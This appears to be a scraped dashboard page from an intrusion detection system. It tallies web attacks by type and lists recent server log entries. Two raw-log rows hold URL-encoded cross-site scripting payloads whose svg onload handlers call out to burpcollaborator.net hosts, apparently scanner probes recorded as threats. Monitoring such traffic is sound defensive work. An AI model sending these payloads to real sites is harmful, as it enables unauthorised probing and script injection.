idsthreat
| Threat Count | |
|---|---|
| Total Logs | 4228982 |
| Anomaly | 454720 |
| Normal | 2808897 |
| CSRF | 1264 |
| LDAP | 103598 |
| OSCommand | 18558 |
| PathTraversal | 153166 |
| SQL | 629095 |
| SSI | 2 |
| XPath | 445 |
| XSS | 59237 |
Latest log
| IP Address | Country | Timestamp | Request | Url | Response Code | Type |
|---|---|---|---|---|---|---|
| 157.42.194.20 | ID | 15/Feb/2021:20:04:12 | - | - | 408 | ldap |
| 157.34.11.168 | ID | 15/Feb/2021:20:01:04 | - | - | 408 | ldap |
| 157.44.197.159 | ID | 15/Feb/2021:19:59:43 | GET | /thesis | 200 | anomaly |
| 157.44.197.159 | ID | 15/Feb/2021:19:48:59 | GET | /core/assets/vendor/jquery.ui/themes/base/images/u | 200 | anomaly |
| 34.93.162.37 | US | 15/Feb/2021:19:45:17 | - | - | 408 | ldap |
| 45.252.77.99 | Unknown | 15/Feb/2021:19:42:10 | - | - | 408 | ldap |
Pages
Raw log
| IP Address | Country | Timestamp | Request | Response Code | Url |
|---|---|---|---|---|---|
| 43.230.36.239 | IN | 21/Feb/2021:23:23:28 | GET | 200 | /node/222 |
| 43.230.36.239 | IN | 21/Feb/2021:23:21:04 | GET | 200 | /sites/default/files/2019-04/DST_Report-Center-for-cyber-security-Y17-18.pdf |
| 43.230.36.239 | IN | 21/Feb/2021:23:19:44 | GET | 404 | /javascript%3a/*%3c/script%3e%3csvg/onload%3d'%2b/%22/%2b/onmouseover%3d1/%2b/[*/[]/%2b((new(Image)).src%3d([]%2b/%5c/h0ik60sitc5q93fa9xyue69nieo8cb9z1qpncd02%5c.burpcollaborator.net/).replace(/%5c%5c/g%2c[]))//'%3e/node/792 |
| 43.230.36.239 | IN | 21/Feb/2021:23:17:30 | GET | 200 | /Talk |
| 43.230.36.239 | IN | 21/Feb/2021:23:16:58 | GET | 404 | /'%22%3e%3csvg/onload%3d(new(Image)).src%3d'//8mvbsre9f3rhvu11vokl0xve45azyxplhb58sygn%5c56burpcollaborator.net'%3e/794 |
Login